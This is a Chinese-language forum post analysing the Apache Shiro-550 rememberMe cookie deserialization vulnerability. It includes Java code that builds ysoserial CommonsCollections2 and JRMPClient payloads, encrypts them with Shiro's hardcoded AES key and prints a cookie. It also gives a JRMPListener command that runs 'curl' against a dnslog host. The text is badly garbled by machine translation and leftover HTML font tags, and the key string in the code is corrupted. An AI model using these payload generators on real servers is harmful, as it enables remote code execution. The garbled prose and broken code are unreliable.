本帖最后由 zhaorong 于 2021-7-1 11:06 编辑
回味shiro反序列化的魅力
阿帕奇Shiro是java的一个安全框架相较于Spring Security shiro且轻量且简单因此在
项目时常简单一个简单轻巧的shiroApacheShiro是Java的一个安全框架相较且容易发生解决的的Java安全框架,执行身份验
证授权密码学状语从句:会话管理
。小编近对四郎反序列化洞shiro550反序列化进行分析
550分析与复现
550指的是编号为550的问题中爆出的一个反序列化漏洞。
问题中给出了四点:
检索rememberMe cookie
Base 64 decode
Decrypt using AES
Deserialize using java serialization (ObjectInputStream) 的值。
并且会说了CookieRememberMeManager以及硬编码了使用yso的cc2了然后
本地部署一个shiro后添加一个commons-collections4的依赖进行。
根据其描述一个正常登陆流程选择rememberMe后可以在cookie中获取的数据为一串base64 :
对解码后得到了无法直接识别的数据,因为这里还涉及到
一个即将到来的关注点移动到 CookieRemember MeManager 它是 shiro-web 库下的缺陷的关键点。
简单分析后在 CookiememberMeManager#getRememberedSerializedIdentity下个断点易知其对于的的base64
做解码后返回了一个字节数组它将字节数组传入AbstractRememberMeManager#convertBytesToPrincipals进
而调用了AbstractRememberMeManager#解密最后是调用到了CipherService#解密方法:
那么这里的getdecryptionCipherKey简单的查一下突然发现在AbstractRememberMe
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">Manager#setCipherKey对于decryptionCipherKey进行了设置:</font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">public void setCipherKey(byte[] cipherKey) { </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> this.setEncryptionCipherKey(cipherKey); </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> this.setDecryptionCipherKey(cipherKey); </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">}</font></font>
复制代码
那什么时候调用了这个二传手?翻到类的前几行就能够看到如下
易知加这你的亲吻,而且为硬编码,我觉得是的,硬编码,然后就可以上随机序列化串shiro进行攻击了,也
正是我们有一个漏洞的原理,但又不愿意继续跟着对的调试,其将解密得到的结果赋值给了byteSource英文的一仍
串的BASE64字符串,将之解码后终于看到了期望的序列化内容:
在debug中查看变量内容能够得到其感知方式:
当然不必在意如何进行已经知道shiro 的智能方式就摆弄我们为什么不能直接启动
shiro 中的cipherService 也就是AesCipherService 拿来用呢?
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">org.apache.shiro.crypto.AesCipherService</font></font></font></font>
复制代码
原来前面依赖的cc4简单的写了一段生成payload:
- package org.apache.shiro.test;
- import org.apache.shiro.codec.Base64;
- import org.apache.shiro.crypto.CipherService;
- import org.apache.shiro.util.ByteSource;
- import ysoserial.payloads.CommonsCollections2;
- import org.apache.shiro.crypto.AesCipherService;
- import java.io.ByteArrayInputStream;
- import java.io.ByteArrayOutputStream;
- import java.io.ObjectInputStream;
- import java.io.ObjectOutputStream;
- public class GeneratePayload {
- public static void main(String[] args) throws Exception {
- Object obj = new CommonsCollections2().getObject("open -a Calculator");
- //ser
- ByteArrayOutputStream baos = new ByteArrayOutputStream();
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> ObjectOutputStream oos = new ObjectOutputStream(baos); </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> oos.writeObject(obj); </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> oos.close(); </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> byte[] ser = baos.toByteArray(); </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> CipherService cipherService = new AesCipherService(); </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> byte[] encryptionCipherKey = Base64.decode("kPH+bIxk5D2deZiIxc我是猪!=="); </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> ByteSource byteSource = cipherService.encrypt(ser, encryptionCipherKey); </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> System.out.println(byteSource); </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> } </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">}</font></font>
复制代码
往cookie上一贴成功弹出计算器:
输入的yso-cc4
因为是基于commons-collections4,在尝试用cc2打通后用cc4去打却发现打不通这是
最令人不解的,通过查看报错才能发现这么一段东西:
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">org.apache.shiro.io.SerializationException:无法反序列化参数字节数组。</font>< /字体></font></font>
复制代码
再往下找找不到一个报错信息:
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">[org.apache.shiro.util.ClassUtils]:无法加载名称[[Lorg.apache.com < /font></font> </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">mons.collections4.Transformer;] 的类</font></font></font></font>
复制代码
而这个处org.apache.shiro.util.ClassUtils在:
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">org.apache.shiro.io.ClassResolvingObjectInputStream.resolveClass</font></font></font></font>
复制代码
中被调用到:
ObjectInputStream#resolveClass:
很明显的ClassResolvingObjectInputStream它重写了父类的resolveClass将的Class.forName改换
分类中翻译ClassUtils.forName,继续跟入发现它实际上是调用了:
ParallelWebappClassLoader#loadClass的:
而在遇到org.apache.commons.collections4.Transformer这一个类时抛出了异常:
与其他类不同的 Transformer 类之前的一个是[L 确实是这一个标志类,
那么就发现无法被加载到,不是
执行表达式时会:
身为数组的对象同类却可以被加载经过一番实验得出一个结论:java下的类,如java.lang.Class jav
a.io.ByteArrayOutputStream等的类是可以正常地以数组形式加载而其他类的,如上述中的org.apache.co
mmons.collections4.Transformer当其以数组形式时无法被正常加载到具体的调试过程可以看@zsx。
JRMP
那么解决方案也是有的橙色师傅在测试一个CTF平台时就拒绝了利用JRMP来达成目标shiro:http://blog.
orange.tw/2018/03/pwn-ctf-platform-with-java-jrmp-gadget.html
先简单了解一下JRMP:
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"><font style="vertical-align:inherit;"><font style="vertical-align:inherit;">Java的远程方法协议(中文:Java远程方法协议,JRMP)是特定于Java的用于的技术查找引用状语从句:远程对</font></font> </font></font>
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"><font style="vertical-align:inherit;"><font style="vertical-align:inherit;">象的协议这的英文运行在Java的远程方法调用RMI基于TCP/IP的线路层协议(中文:有线协议)。</font></font></font></font>
复制代码
调用的java方法远程协议即是rmi Java方法调用即java远程远程调用方法时需要调用的一个协议jrrmp
双方正常地对进行调用而此时就需要另一种东西:JNDI(Java命名才才)和目录接口
Java一个简单的和目录接口,很简单的说就是一个映射将某个路径与对象时做后访问到这个目录。
那么这里使用到的方式是为服务器打客户端:
攻击端使用JRMP监听协议端口一个服务作为在端的客户端的上服务端的后将序列化数据报道查看给
客户端的客户端的将数据反序列化后连接就可实现的实现流程。
基于理论现在来做一下实际测试:
利用YSO JRMPListener监听一个端口并且使用CommonsCollections4个以前使用不了的链:
- <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">java -cp yso.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections4 'curl b63p5e.dnslog.cn'</font ></字体></font></font>
复制代码
生成非:
- public class GeneratePayload {
- public static void main(String[] args) throws Exception {
- Object obj = new JRMPClient().getObject("127.0.0.1:12345");
- //ser
- ByteArrayOutputStream baos = new ByteArrayOutputStream();
- ObjectOutputStream oos = new ObjectOutputStream(baos);
- oos.writeObject(obj);
- oos.close();
- byte[] ser = baos.toByteArray();
- CipherService cipherService = new AesCipherService();
- byte[] encryptionCipherKey = Base64.decode("kPH+bIxk5D2deZiIxc我是猪!==");
- ByteSource byteSource = cipherService.encrypt(ser, encryptionCipherKey);
- System.out.println(byteSource);
- }
- }
复制代码
往shiro一打这下就收到了dnslog了:
不过可能会觉得疑惑,既然CC2链可以用为什么可以绕一圈去用JRMP去用CC4原来的CC2因为
只是环境配置的英文公用收藏4若环境中配了公地收藏- 32.1,那么分析过cc1、3、5、6、7师的
傅会都知道可以使用到数组此时便无法寻找相应的替代链来可能会遇到的数组的限制那么此时采
用JRMP的方法去除限制。